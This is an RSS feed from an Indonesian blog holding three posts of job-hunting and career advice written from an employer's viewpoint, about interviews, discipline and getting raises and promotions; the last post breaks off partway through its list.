<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>alarief.com &#187; Karyawan</title>
	<atom:link href="http://alarief.com/tag/karyawan/feed" rel="self" type="application/rss+xml" />
	<link>http://alarief.com</link>
	<description>Meraih Sukses dan Kebahagiaan Sejati</description>
	<lastBuildDate>Fri, 29 Oct 2010 06:46:59 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.0.1</generator>
		<item>
		<title>Tips Cara Agar Anda Mudah Diterima Kerja</title>
		<link>http://alarief.com/cara-agar-anda-mudah-diterima-kerja.htm</link>
		<comments>http://alarief.com/cara-agar-anda-mudah-diterima-kerja.htm#comments</comments>
		<pubDate>Sat, 08 May 2010 22:12:28 +0000</pubDate>
		<dc:creator>alarif</dc:creator>
				<category><![CDATA[Karyawan]]></category>
		<category><![CDATA[kerja]]></category>
		<category><![CDATA[lowongan kerja]]></category>
		<category><![CDATA[melamar kerja]]></category>

		<guid isPermaLink="false">http://alarief.com/cara-agar-anda-mudah-diterima-kerja.htm</guid>
		<description><![CDATA[Saudara… Apakah Anda saat ini sedang mencari kerja ? Apakah Anda sudah sering mendatangi wawancara, tapi belum juga menerima panggilan kerja ? Sengaja saya menulis beberapa tips bagaimana agar Anda mudah mendapatkan pekerjaan. Tulisan ini dari sudut saya pribadi selaku seorang pengusaha yang sering berhadapan atau melihat langsung proses perekrutan tenaga kerja untuk perusahaan saya [...]]]></description>
			<content:encoded><![CDATA[<p><!--[if gte mso 9]><xml> <w:WordDocument> <w:View>Normal</w:View> <w:Zoom>0</w:Zoom> <w:PunctuationKerning /> <w:ValidateAgainstSchemas /> <w:SaveIfXMLInvalid>false</w:SaveIfXMLInvalid> <w:IgnoreMixedContent>false</w:IgnoreMixedContent> <w:AlwaysShowPlaceholderText>false</w:AlwaysShowPlaceholderText> <w:Compatibility> <w:BreakWrappedTables /> <w:SnapToGridInCell /> <w:WrapTextWithPunct /> <w:UseAsianBreakRules /> <w:DontGrowAutofit /> </w:Compatibility> <w:BrowserLevel>MicrosoftInternetExplorer4</w:BrowserLevel> </w:WordDocument> </xml><![endif]--><!--[if gte mso 9]><xml> <w:LatentStyles DefLockedState="false" LatentStyleCount="156"> </w:LatentStyles> </xml><![endif]--><!--[if !mso]><span class="mceItemObject"   classid="clsid:38481807-CA0E-42D2-BF39-B33AF135CC4D" id=ieooui></span><br />
<mce:style><!   st1\:*{behavior:url(#ieooui) }  --></p>
<p><!--[endif]--></p>
<p><!--   /* Font Definitions */  @font-face 	{font-family:Verdana; 	panose-1:2 11 6 4 3 5 4 4 2 4; 	mso-font-charset:0; 	mso-generic-font-family:swiss; 	mso-font-pitch:variable; 	mso-font-signature:536871559 0 0 0 415 0;}  /* Style Definitions */  p.MsoNormal, li.MsoNormal, div.MsoNormal 	{mso-style-parent:""; 	margin:0in; 	margin-bottom:.0001pt; 	mso-pagination:widow-orphan; 	font-size:12.0pt; 	font-family:"Times New Roman"; 	mso-fareast-font-family:"Times New Roman";} @page Section1 	{size:8.5in 11.0in; 	margin:1.0in 1.25in 1.0in 1.25in; 	mso-header-margin:.5in; 	mso-footer-margin:.5in; 	mso-paper-source:0;} div.Section1 	{page:Section1;}  /* List Definitions */  @list l0 	{mso-list-id:2115586316; 	mso-list-type:hybrid; 	mso-list-template-ids:1018739812 67698703 67698713 67698715 67698703 67698713 67698715 67698703 67698713 67698715;} @list l0:level1 	{mso-level-tab-stop:.5in; 	mso-level-number-position:left; 	text-indent:-.25in;} ol 	{margin-bottom:0in;} ul 	{margin-bottom:0in;} --><!--[if gte mso 10]></p>
<p><mce:style><!    /* Style Definitions */  table.MsoNormalTable 	{mso-style-name:"Table Normal"; 	mso-tstyle-rowband-size:0; 	mso-tstyle-colband-size:0; 	mso-style-noshow:yes; 	mso-style-parent:""; 	mso-padding-alt:0in 5.4pt 0in 5.4pt; 	mso-para-margin:0in; 	mso-para-margin-bottom:.0001pt; 	mso-pagination:widow-orphan; 	font-size:10.0pt; 	font-family:"Times New Roman"; 	mso-ansi-language:#0400; 	mso-fareast-language:#0400; 	mso-bidi-language:#0400;}  --></p>
<p><!--[endif]--> <a href="http://alarief.com/wp-content/uploads/2010/05/diterima-kerja.jpg"><img class="alignnone size-medium wp-image-75" title="diterima-kerja" src="http://alarief.com/wp-content/uploads/2010/05/diterima-kerja-274x300.jpg" alt="" width="274" height="300" /></a></p>
<p><span style="font-size: 10pt; font-family: Verdana;">Saudara… Apakah Anda saat ini sedang mencari kerja ? Apakah Anda sudah sering mendatangi wawancara, tapi belum juga menerima panggilan kerja ? Sengaja saya menulis beberapa tips bagaimana agar Anda mudah mendapatkan <a href="http://www.lowongankerjahot.com" target="_blank">pekerjaan</a>. Tulisan ini dari sudut saya pribadi selaku seorang pengusaha yang sering berhadapan atau melihat langsung proses perekrutan tenaga kerja untuk perusahaan saya sendiri</span></p>
<p><span style="font-size: 10pt; font-family: Verdana;">Dari sudut pandang saya , beberapa tips bagi pelamar kerja yang harus diperhatikan antara lain :</span></p>
<p><span id="more-44"></span></p>
<p><span style="font-size: 10pt; font-family: Verdana;">1. </span><strong><span style="font-size: 10pt; font-family: Verdana;">Pelajari Perusahaan Yang Anda Tuju</span></strong><span style="font-size: 10pt; font-family: Verdana;"></span></p>
<p><span style="font-size: 10pt; font-family: Verdana;">Sebelum Anda mengirimkan lamaran kerja, pelajari terlebih dahulu seluk beluk perusahaan tersebut. Bergerak di bidang apa, sudah berapa lama, berapa jumlah karyawannya, karyawan seperti apa yang dicari, dan sebagainya. Dengan mengetahui banyak hal tentang perusahaan, maka Anda akan dengan mudah merancang strategi dalam melamar kerja dan menyusun surat lamaran</span></p>
<p><span style="font-size: 10pt; font-family: Verdana;">Tanpa mengetahui perusahaan yang akan Anda tuju, Anda seperti akan menempuh perjalanan tanpa tujuan dan tak tentu arah. Terlebih jika perusahaan tersebut terkenal, dan kebetulan Anda tidak tahu dan bertanya ke pewawancara yang pasti akan jengkel dengan Anda karena dianggap tidak serius</span></p>
<p><span style="font-size: 10pt; font-family: Verdana;">2. </span><strong><span style="font-size: 10pt; font-family: Verdana;">Kirim dokumen lengkap ke perusahaan secara fisik</span></strong><span style="font-size: 10pt; font-family: Verdana;"></span></p>
<p><span style="font-size: 10pt; font-family: Verdana;">Bisa saja Anda mengirimkan dokumen dengan email. Tapi ketahuilah, bahwa sebagian orang malas untuk mencetak dokumen Anda. Kirim dokumen lamaran secara fisik (kalau perlu juga dengan email) agar saat wawancara memudahkan perusahaan mendapatkan data Anda.</span></p>
<p><span style="font-size: 10pt; font-family: Verdana;">Satu lagi… Jangan menunjukkan ketidakseriusan Anda dengan mengirim pertanyaan melalui SMS. SMS kadang bisa dimaknai macam-macam oleh pembaca. Lebih baik telpon langsung, dan minta penjelasan hal-hal yang kurang Anda pahami.</span></p>
<p><span style="font-size: 10pt; font-family: Verdana;">Saya sering melihat SMS-SMS dari pelamar kerja yang isinya pertanyaan yang sudah jelas ada di <a href="http://www.lowongankerjahot.com" target="_blank">Iklan Lowongan Kerja</a> yang kami pasang. Hal-hal semacam ini jangan Anda lakukan.</span></p>
<p><span style="font-size: 10pt; font-family: Verdana;">3. </span><strong><span style="font-size: 10pt; font-family: Verdana;">Jaga sikap Anda selama wawancara</span></strong><span style="font-size: 10pt; font-family: Verdana;"></span></p>
<p><span style="font-size: 10pt; font-family: Verdana;">Kesalahan terbesar yang sering terjadi adalah sikap yang salah saat wawancara. Jaga sikap Anda, terapkan sopan santun dan tata krama berhubungan layaknya dengan atasan Anda. Jadikan seolah-olah pewawancara sebagai atasan Anda. Jangan menggurui dan jangan sombong. Bagaimanapun juga, Anda sedang di tempat dia dan Anda pada posisi mencari pekerjaan. Segala ‘kekuasaan’ ada ditangan pewawancara. Jangan rebut ‘kekuasaan’ tersebut</span></p>
<p><span style="font-size: 10pt; font-family: Verdana;">Selalu ingatlah, bahwa keputusan diterimanya Anda juga ditentukan oleh factor emosional pewawancara. Jika sikap Anda tidak baik, pasti seberapa hebatpun Anda tidak akan diterima</span></p>
<p><span style="font-size: 10pt; font-family: Verdana;">4. </span><strong><span style="font-size: 10pt; font-family: Verdana;">Ubah mindset Anda</span></strong><span style="font-size: 10pt; font-family: Verdana;"></span></p>
<p><span style="font-size: 10pt; font-family: Verdana;">Ubah mindset Anda saat wawancara. Berpikirlah seperti seorang <a href="http://www.usahabaru.com" target="_blank">pengusaha</a> yang mencari karyawan. Seorang pengusaha akan mencari karyawan yang sesuai dengan posisi yang dibutuhkan dengan pengeluaran gaji yang sepadan dengan kinerja. Alangkah baiknya jika Anda selalu membicarakan bagaimana kinerja Anda seandainya nanti diterima, daripada bicara gaji dan fasilitas. </span></p>
<p><span style="font-size: 10pt; font-family: Verdana;">Ingat saat ini Anda masih dalam tahap wawancara dan belum bekerja. Anda belum menunjukkan kinerja Anda seperti apa. Dan ingatlah, seorang pengusaha akan bersedia membayar Anda bepapapun, asal kinerja Anda memang layak.</span></p>
<p><span style="font-size: 10pt; font-family: Verdana;">5. </span><strong><span style="font-size: 10pt; font-family: Verdana;">Jangan banyak bicara gaji</span></strong><span style="font-size: 10pt; font-family: Verdana;"></span></p>
<p><span style="font-size: 10pt; font-family: Verdana;">Mungkin Anda seringkali mendapatkan tips bagaimana melamar kerja. Salah satunya, Anda harus menyebutkan berapa gaji yang Anda minta di surat lamaran atau saat wawancara. Itu boleh saja, asal Anda memang benar-benar orang luar biasa hebat di bidang Anda, dan kehebatan Anda dikenal oleh banyak perusahaan termasuk yang akan Anda tuju. </span></p>
<p><span style="font-size: 10pt; font-family: Verdana;">Tapi jika Anda pelamar kerja biasa, lebih baik tidak usah menyebutkan gaji yang Anda minta di lamaran. Karena, dengan menyebutkan gaji, biasanya pengusaha sudah pikir-pikir untuk tidak memanggil Anda wawancara. Lebih baik Anda menulis dan membicarakan banyak hal yang berhubungan rencana Anda jika diterima kerja.  <span> </span></span></p>
<p><span style="font-size: 10pt; font-family: Verdana;">Gunakan prinsip memberi dahulu, baru menerima. Berprestasi dahulu, baru menuntut gaji besar. Ingatlah pengusaha selalu berpikir untung rugi. Siapa yang bersedia menerima Anda, jika belum-belum meminta gaji besar.</span></p>
<p><span style="font-size: 10pt; font-family: Verdana;">Saya sendiri sering menemui pencari kerja yang saat wawancara terlalu banyak tanya berapa gajinya. Dalam pikiran saya “ ini orang belum-belum gaji melulu”.</span></p>
<p><span style="font-size: 10pt; font-family: Verdana;">Saya juga sering menemui pelamar kerja yang menilai standart gajinya harus di atas tempat dia bekerja dahulu. Dalam benak saya “ Kenapa Anda tidak kerja di perusahaan lama Anda ? Kerja disana saja terus, biar gajinya naik terus. Disini kan Anda baru memulai kerja.”</span></p>
<p><span style="font-size: 10pt; font-family: Verdana;">Ingat gunakan jurus sukses tempo doeloe “Banyak memberi,banyak menerima”. Yakinkan pewawancara bahwa Anda bisa memajukan perusahaan, niscaya Anda akan menerima reward yang sangat layak diluar perkiraan Anda. Sayang…. Sebagian besar pelamar kerja tidak tahu… </span></p>
<p><span style="font-size: 10pt; font-family: Verdana;">Saat pewawancara bertanya berapa gaji yang Anda inginkan, berhati-hatilah dalam menjawabnya. Biasanya pertanyaan ini digunakan untuk menyaring secara cepat pelamar kerja. Lebih baik Anda balik bertanya berapa standart gaji di perusahaan tersebut, dan bagaimana peluang karir di masa depan jika Anda berprestasi. Inilah sebenarnya kuncinya. Apakah jika Anda berprestasi, perusahaan akan meningkatkan karir Anda atau tidak.</span></p>
<p><span style="font-size: 10pt; font-family: Verdana;">Sebagian besar pelamar terlalu percaya diri menentukan gajinya, berpegang dari gaji terakhir di perusahaan lama. Ini yang membuat perusahaan langsung menolak pelamar kerja seperti ini. Padahal banyak perusahaan yang sangat menghargai prestasi karyawannya, hanya saja harus dibuktikan terlebih dahulu</span></p>
<p><span style="font-size: 10pt; font-family: Verdana;">6. </span><strong><span style="font-size: 10pt; font-family: Verdana;">Bersemangatlah</span></strong><span style="font-size: 10pt; font-family: Verdana;"></span></p>
<p><span style="font-size: 10pt; font-family: Verdana;">Seorang pengusaha adalah orang-orang yang antusias dalam menghadapi tantangan hidup, terutama bisnisnya. Pasti ia akan mencari orang-orang yang antusias. Karena sikap antusias dan bersemangat adalah modal dasar untuk bekerja dengan baik.</span></p>
<p><span style="font-size: 10pt; font-family: Verdana;">Bersemangatlah saat wawancara. Jadilah orang yang menyenangkan dan membuat pewawancara senang. Namun, jaga tutur kata Anda agar tetap sopan dan profesional</span></p>
<p><span style="font-size: 10pt; font-family: Verdana;">7. </span><strong><span style="font-size: 10pt; font-family: Verdana;">Jangan bangga dulu dengan prestasi di sekolah</span></strong><span style="font-size: 10pt; font-family: Verdana;"></span></p>
<p><span style="font-size: 10pt; font-family: Verdana;">Inilah penyakit kronis pelamar kerja. Kebanyakan dari mereka sangat bangga dengan prestasi di sekolahnya. Dan bahkan kadang saking bangganya, membuatnya meremehkan pewawancara atau pengusaha yang mungkin bukan orang berprestasi di sekolah. </span></p>
<p><span style="font-size: 10pt; font-family: Verdana;">Karena itu, sadarlah, bahwa Anda saat ini berada di dunia kerja, dunia nyata. Prestasi sekolah bisa menjadi bahan pertimbangan Anda diterima kerja. Tapi itu tidak mutlak. Yang lebih menentukan Anda diterima tidaknya adalah kemampuan Anda dikaitkan dengan bidang yang dibutuhkan perusahaan. </span></p>
<p><span style="font-size: 10pt; font-family: Verdana;">Apalagi jika bidang yang Anda lamar, tidak ada hubungannya dengan background pendidikan Anda. Anda tidak boleh membanggakan prestasi Anda disekolah, melainkan tunjukkan bahwa Anda akan mampu menerima tanggung jawab yang akan diberikan</span></p>
<p><span style="font-size: 10pt; font-family: Verdana;">Pernah suatu ketika saya melihat seorang pelamar kerja di perusahaan saya. Ia berasal dari perguruan tinggi negeri di Jawa Timur. Indek Prestasi 3,5 dari skala 4.0. Ia melamar untuk staff adminitrasi. Peminat lain untuk administrasi ada lebih dari 150 orang. Tapi dari gerak-geriknya kelihatan sangat sombong dan terkesan meremehkan, padahal belum ada pengalaman kerja sama sekali. Kami sadar, bahwa ia masih tenggelam dalam kebanggaan diri. </span></p>
<p><span style="font-size: 10pt; font-family: Verdana;">Orang sepert ini pasti tidak kami terima. Kami selaku pengusaha pasti memilih orang yang memiliki attitude yang baik, bisa bekerja dengan team, menghargai sesama karyawan dan atasan.</span></p>
<p><span style="font-size: 10pt; font-family: Verdana;">Karena itu, Anda boleh bangga dengan prestasi di sekolah. Tapi jangan kebanggaan Anda menjadikan Anda memiliki attitude yang rendah. Karena itu bisa menjadi boomerang dalam hidup Anda. Ingatlah, para pengusaha adalah orang-orang yang berprestasi dalam financial. Banyak dari mereka yang dulu juga berprestasi di sekolahnya.</span></p>
<p><span style="font-size: 10pt; font-family: Verdana;">8. </span><strong><span style="font-size: 10pt; font-family: Verdana;">Jangan bangga dengan pengalaman Anda</span></strong><span style="font-size: 10pt; font-family: Verdana;"></span></p>
<p><span style="font-size: 10pt; font-family: Verdana;">Pengalaman bisa jadi senjata ampuh untuk diterima kerja. Tapi ini juga tidak mutlak. Boleh jadi pengalaman Anda tidak ada kaitannya tugas di perusahaan baru tersebut. Alangkah baiknya Anda tahu lebih banyak job deskripsi dari tugas kerja di perusahaan yang Anda lamar. Tulis dan jelaskan pengalaman Anda yang ada kaitannya dengan tugas tersebut.</span></p>
<p><span style="font-size: 10pt; font-family: Verdana;">Banyaknya pengalaman kerja bisa Anda jadikan nilai tawar untuk meminta gaji lebih tinggi. Tapi jangan hal ini menjadi pedoman yang kaku. Pengusaha akan minta bukti kinerja Anda dahulu, sebelum ia bersedia memberi gaji tinggi</span></p>
<p><span style="font-size: 10pt; font-family: Verdana;">9. </span><strong><span style="font-size: 10pt; font-family: Verdana;">Perjelas Mengapa Anda Keluar Kerja</span></strong><span style="font-size: 10pt; font-family: Verdana;"></span></p>
<p><span style="font-size: 10pt; font-family: Verdana;">Jika Anda memiliki banyak pengalaman kerja, beri tahukan kepada pewawancara mengapa Anda keluar kerja dari perusahaan lama. Pengusaha pasti bertanya-tanya mengapa Anda keluar kerja ? Jika kualitas Anda bagus, mengapa perusahaan lama Anda tidak mempertahankan Anda ? Apakah Anda bermasalah dengan perusahaan lama ?</span></p>
<p><span style="font-size: 10pt; font-family: Verdana;">Yakinkan bahwa Anda kaluar kerja dengan baik-baik dan tanpa masalah.</span></p>
<p>&#8212;&#8212;&#8212;&#8212;</p>
<p class="MsoNormal"><span style="font-size: 10pt; font-family: Verdana;">Saudara… itulah beberapa tips agar Anda mudah diterima <a href="http://www.lowongankerjahot.com" target="_blank">kerja</a>, khususnya di perusahaan swasta. Kalau jadi PNS, pasti lain kan ? </span></p>
<p><span style="font-size: 10pt; font-family: Verdana;">Mudah-mudahan tulisan ini bisa menambah wacana Anda, khususnya jika Anda sedang menjadi pekerjaan. Semoga Anda lebih mudah diterima di temat keja manapun, sehingga Anda memiliki banyak pilihan.</span></p>
<p class="MsoNormal"><span style="font-size: 10pt; font-family: Verdana;">Semoga bermanfaat<br />
</span></p>
<p class="MsoNormal"><span style="font-size: 10pt; font-family: Verdana;">Al Arif (<a href="http://www.alarief.com" target="_blank">Al Arief.com</a>)</span></p>
]]></content:encoded>
			<wfw:commentRss>http://alarief.com/cara-agar-anda-mudah-diterima-kerja.htm/feed</wfw:commentRss>
		<slash:comments>42</slash:comments>
		</item>
		<item>
		<title>2 Kebiasaan Mudah Yang Bisa Meningkatkan Karir Seorang Karyawan</title>
		<link>http://alarief.com/2-kebiasaan-mudah-yang-bisa-meningkatkan-karir-seorang-karyawan.htm</link>
		<comments>http://alarief.com/2-kebiasaan-mudah-yang-bisa-meningkatkan-karir-seorang-karyawan.htm#comments</comments>
		<pubDate>Tue, 23 Jun 2009 00:02:57 +0000</pubDate>
		<dc:creator>alarif</dc:creator>
				<category><![CDATA[Karyawan]]></category>
		<category><![CDATA[karir]]></category>
		<category><![CDATA[pegawai]]></category>

		<guid isPermaLink="false">http://alarief.com/2-kebiasaan-mudah-yang-bisa-meningkatkan-karir-seorang-karyawan.htm</guid>
		<description><![CDATA[Sukses jangka panjang itu bermula dari tindakan sukses yang dilakukan setiap hari. Tidak ada kesuksesan yang didapat secara instant. Tindakan kecil yang Anda lakukan secara rutin, akan mendatangkan kesuksesan jangka panjang. Termasuk dalam hal ini, jika Anda berprofesi sebagai seorang karyawan. Ada 2 kebiasaan sederhana yang jika Anda lakukan secara rutin bisa mendatangkan kesuksesan karir [...]]]></description>
			<content:encoded><![CDATA[<p class="MsoNormal" style="margin: 0in 0in 10pt;"><span style="font-family: Calibri;"><a title="karir-meningkat.jpg" href="http://alarief.com/wp-content/uploads/2009/06/karir-meningkat.jpg"></a><a href="http://alarief.com/wp-content/uploads/2009/06/karir-karyawan.jpg"><img class="alignnone size-medium wp-image-90" title="karir-karyawan" src="http://alarief.com/wp-content/uploads/2009/06/karir-karyawan-300x223.jpg" alt="" width="300" height="223" /></a><br />
</span></p>
<p>Sukses jangka panjang itu bermula dari tindakan sukses yang dilakukan setiap hari. Tidak ada kesuksesan yang didapat secara instant. Tindakan kecil yang Anda lakukan secara rutin, akan mendatangkan kesuksesan jangka panjang. Termasuk dalam hal ini, jika Anda berprofesi sebagai seorang karyawan. Ada 2 kebiasaan sederhana yang jika Anda lakukan secara rutin bisa mendatangkan kesuksesan karir Anda.Kebiasaan itu adalah :</p>
<p><span id="more-37"></span></p>
<p>1<strong>. Disiplin Terhadap Waktu Anda</strong></p>
<p>Hal yang paling disukai atasan adalah jika seorang karyawan menghargai waktunya. Karyawan yang baik akan datang sebelum jam kerja. Ia mempersiapkan diri sebelum jam kerja agenda apa saja yang harus dilakukan pada hari itu. Jika jam kerja Anda dimulai pkl 08.00 pagi, maka datanglah pkl 07.30. Selama setengah jam itu, persiapkan apa saja yang akan Anda lakukan sepanjang hari itu.</p>
<p>Karyawan yang baik akan memanfaatkan waktu sepanjang jam kerja benar-benar untuk kerja yang produktif. Ia tidak akan menyia-nyiakan waktu hanya untuk ngobrol, jalan-jalan di kantor, merokok, mengulur waktu makan, mencuri kesempatan, dan hal lain yang tidak ada sangkut pautnya dengan tugasnya.</p>
<p>Anda harus sadar bahwa seorang pimpinan selalu berorientasi pada hasil. Pimpinan akan melihat apa saja hasil kerja Anda hari ini. Jika Anda tidak memanfaatkan waktu Anda sebaik-baikinya, hasil yang berikan kepada perusahaan pasti tidak optimal. Dan pimpinan pasti tahu akan hal ini. Bagaimana mungkin Anda bisa naik gaji atau dipromosikan jika hasil yang Anda berikan untuk perusahaan tidak memuaskan. Karyawan yang baik adalah ia yang tidak pulang tepat waktu, melainkan pulang melebihi waktu kerja. Jika jam kerja Anda adalah pkl 04.00 sore, maka pulanglah pkl. 04.30 sore atau lebih. Saat Anda akan pulang, pasti beberapa menit Anda siapkan untuk persiapan pulang. Jangan mengambil waktu kerja untuk mempersiapkan kepulangan Anda, sehingga produktivitas Anda tidak terganggu. Bayangkan jika setiap hari Anda menyita 15 menit waktu kerja hanya untuk persiapan pulang, berapa waktu Anda sia-siakan dalam 1 tahun ? Dan yang pasti, pimpinan tidak suka akan hal ini.</p>
<p>Pulang kerja melebihi jam kantor akan membuat pimpinan Anda senang. Tindakan seperti itu mencerminkan kesungguhan dan kecintaan Anda pada perusahaan. Anda bisa memanfaatkan waktu lebih tersebut untuk menyelesaikan tugas yang belum selesai. Anda juga bisa menulis agenda apa yang perlu Anda lakukan esok harinya.</p>
<p>Jadi, kebiasaan mudah yang bisa Anda lakukan mulai besok adalah datang lebih awal, gunakan waktu kerja benar-benar untuk kerja, dan pulanglah lebih akhir. Inilah kebiasaan para karyawan teladan yang berpotensi melejitkan karir</p>
<p><strong>2. Mintalah Tanggung Jawab Lebih, dan Selesaikan Lebih Baik</strong><strong> </strong></p>
<p>Kebiasaan yang kedua agar Anda cepat naik gaji dan dipromosikan adalah mintalah tanggung jawab lebih dan selesaikan dengan lebih baik.Apa tanggung jawab Anda saat ini ? Selesaikan dengan baik tanggung jawab itu, dan secara proaktif mintalah tanggung jawab yang lebih besar kepada pimpinan Anda. Katakan kepada pimpinan Anda bahwa Anda senang dengan pekerjaan Anda sekarang ini, Anda sudah selesaikan, dan Anda ingin tanggung jawab lebih besar lagi. Ingat, yang Anda minta tanggung jawab, bukan minta kenaikan gaji. Kenaikan gaji akan mengikuti dengan sendirinya, jika Anda benar-benar layak.</p>
<p>Setelah Anda minta tanggung jawab baru yang lebih besar dan Anda benar-benar diberi tanggung jawab baru tersebut, maka selesaikan tanggung jawab Anda . Lakukan tugas tersebut dengan lebih baik dari apa yang diminta pimpinan. Atau lakukan tugas Anda tersebut lebih baik dari apa yang sudah karyawan lain lakukan.</p>
<p>Jika Anda sudah menyelesaikan tugas atau tanggung jawab baru tersebut, mintalah lagi ke pimpinan Anda tugas dan tanggung jawab baru lagi. Dan lakukan tugas baru yang kedua tersebut dengan lebih baik lagi. Setelah selesai tugas tersebut, mintalah tugas baru lagi. Begitu seterusnya.</p>
<p>Kebiasaan ini akan membangun citra diri Anda sebagai orang yang bertanggung jawab dan layak dipercaya, baik dihadapan pimpinan maupun sesama karyawan. Inilah sebenarnya modal utama untuk sukses sebagai karyawan. Kalau sudah seperti ini citra diri Anda, pimpinan perusahaan mana yang tidak akan menaikkan gaji dan jabatan Anda ?</p>
<p>Itulah dua jenis kebiasaan seorang karyawan yang layak naik gaji dan dipromosikan. Seorang karyawan yang baik adalah memberikan yang terbaik yang ia bisa kepada perusahaan dahulu, baru setelah itu secara otomatis perusahaan akan memberikan imbal balik yang layak. Sayangnya banyak karyawan yang bersikap sebaliknya, minta fasilitas dulu sebelum berprestasi. Akhirnya, ia tidak akan mendapatkan apa-apa.</p>
<p>Bagaimana pendapat Anda ?</p>
<p><span style="font-size: x-small;"> </span></p>
]]></content:encoded>
			<wfw:commentRss>http://alarief.com/2-kebiasaan-mudah-yang-bisa-meningkatkan-karir-seorang-karyawan.htm/feed</wfw:commentRss>
		<slash:comments>11</slash:comments>
		</item>
		<item>
		<title>7 Cara Agar Karyawan Cepat Naik Gaji dan Cepat Dipromosikan</title>
		<link>http://alarief.com/7-cara-agar-karyawan-cepat-naik-gaji-dan-cepat-dipromosikan.htm</link>
		<comments>http://alarief.com/7-cara-agar-karyawan-cepat-naik-gaji-dan-cepat-dipromosikan.htm#comments</comments>
		<pubDate>Tue, 10 Feb 2009 05:56:27 +0000</pubDate>
		<dc:creator>alarif</dc:creator>
				<category><![CDATA[Karyawan]]></category>

		<guid isPermaLink="false">http://alarief.com/7-cara-agar-karyawan-cepat-naik-gaji-dan-cepat-dipromosikan.htm</guid>
		<description><![CDATA[]]></description>
			<content:encoded><![CDATA[<p><meta http-equiv="CONTENT-TYPE" content="text/html; charset=utf-8" /><meta name="GENERATOR" content="OpenOffice.org 2.0  (Win32)" /><meta name="AUTHOR" content="Noi" /><meta name="CREATED" content="20090210;6250000" /><meta name="CHANGEDBY" content="Noi" /><meta name="CHANGED" content="20090210;7150000" /><br />
<style> 	<!-- 		@page { size: 8.5in 11in; margin: 0.79in } 		P { margin-bottom: 0.08in } 	- 	</style>
<p style="margin-bottom: 0in"><a href="http://alarief.com/wp-content/uploads/2009/02/pegawai.jpg" title="menjadi karyawan sukses"><img src="http://alarief.com/wp-content/uploads/2009/02/pegawai.jpg" alt="menjadi karyawan sukses" /></a></p>
<p style="margin-bottom: 0in">Jika Anda saat menjadi seoang karyawan, berikut akan saya sampaikan beberapa cara jitu agar Anda cepat naik gaji dan cepat dipromosikan untuk jabatan yang lebih tinggi. Saya menulis pedoman ini dari perspektif seorang pimpinan usaha. Saya memiliki beberapa <a href="http://www.usahabaru.com" target="_blank">usaha</a> dengan karyawan cukup banyak karyawan. Saya sering menaikkan gaji dan mempromosikan karyawan dengan pertimbangan-pertimbangan ini</p>
<p style="margin-bottom: 0in">Jika Anda menerapkan cara-cara ini saya sangat yakin gaji Anda akan cepat naik dan Anda akan dipromosikan untuk jabatan yang lebih tinggi. Dan sebaliknya, jika Anda tidak menerapkannya, karir Anda akan terancam</p>
<p style="margin-bottom: 0in"><span id="more-6"></span></p>
<p style="margin-bottom: 0in">Beberapa hal yang menjadi pertimbangan saya untuk menaikkan gaji dan mempromosikan orang antara lain :</p>
<p style="margin-bottom: 0in">&nbsp;</p>
<ol>
<li>
<p style="margin-bottom: 0in"><strong>Semangat Bekerja</strong></p>
</li>
</ol>
<p style="margin-bottom: 0in">Saat merekrut tenaga kerja, seorang pimpinan akan melihat seberapa semangat dia dalam bekerja. Masalah skill (keahlian) biasanya dinomor duakan. Skill memang penting dalam dunia kerja. Tetapi skill yang tidak dibarengi dengan semangat dalam bekerja, tidak akan menghasilkan prestasi</p>
<p style="margin-bottom: 0in">Karena itu, bersemangatlah dalam bekerja. Dan tunjukkan semangat Anda kepada pimpinan. Pasti pimpinan Anda akan senang</p>
<ol start="2">
<li>
<p style="margin-bottom: 0in"><strong>Disiplin</strong></p>
</li>
</ol>
<p style="margin-bottom: 0in">Disiplin adalah modal dasar seorang karyawan. Seorang pimpinan perusahaan merekrut Anda tujuannya adalah untuk membeli waktu dan energy Anda agar bisnisnya semakin berkembang. Jika Anda tidak disiplin dalam bekerja, pimpinan Anda pasti akan pikir-pikir. Jangankan menambah gaji atau mempromosikan, yang ada dalam benaknya hanya bagaimana memecat Anda</p>
<p style="margin-bottom: 0in">Disiplin adalah standart dasar seorang karyawan sukses. Datanglah sebelum jam kerja dimulai. Pulanglah setelah jam kerja usai. Jangan ‘bolos’ kerja atau sering tidak masuk. Semua perbuatan Anda ada akibatnya bagi diri Anda.</p>
<ol start="3">
<li>
<p style="margin-bottom: 0in"><strong>Jujur</strong></p>
</li>
</ol>
<p style="margin-bottom: 0in">Kejujuran dimanapun sangat penting, apalagi di tempat kerja. Lindungi harta benda perusahaan Anda. Anda akan sangat dihargai pimpinan Anda jika kejujuran melekat dalam keseharian Anda. Bos Anda akan sangat senang.</p>
<ol start="4">
<li>
<p style="margin-bottom: 0in"><strong>Berpikir seperti CEO</strong></p>
</li>
</ol>
<p style="margin-bottom: 0in">Berpikirlah seperti seorang CEO atau pimpinan perusahaan. Apa yang dipikirkan mereka ? Seorang pimpinan perusahaan sehari-hari memikirkan antara lain :</p>
<ul>
<li>
<p style="margin-bottom: 0in">Bagaimana omset dan profit 	perusahaan meningkat</p>
</li>
<li>
<p style="margin-bottom: 0in">Bagaimana semua karyawan bisa 	bekerja maksimal</p>
</li>
<li>
<p style="margin-bottom: 0in">Bagaimana sebuah sistim bisnis 	menjadi lebih efisien</p>
</li>
<li>
<p style="margin-bottom: 0in">Bagaimana cara meminimalkan 	komplain</p>
</li>
<li>
<p style="margin-bottom: 0in">Bagaimana cara perusahaan cepat 	bertumbuh</p>
</li>
<li>
<p style="margin-bottom: 0in">Dan sebagainya</p>
</li>
</ul>
<p style="margin-bottom: 0in">Jika Anda berpikir seperti pimpinan perusahaan, niscaya Anda akan lebih berkembang dan kreatif dan sejalan dengan keinginan pimpinan. Karena itu sangat penting bagi Anda untuk mengetahui apa yang menjadi keinginan pimpinan perusahaan saat ini. Tanyakan kepadanya, dan bantu ia untuk mencapainya.</p>
<p style="margin-left: 0.25in; margin-bottom: 0in">
<ol start="5">
<li>
<p style="margin-bottom: 0in"><strong>Mempunyai nilai tambah (value 	added)</strong></p>
</li>
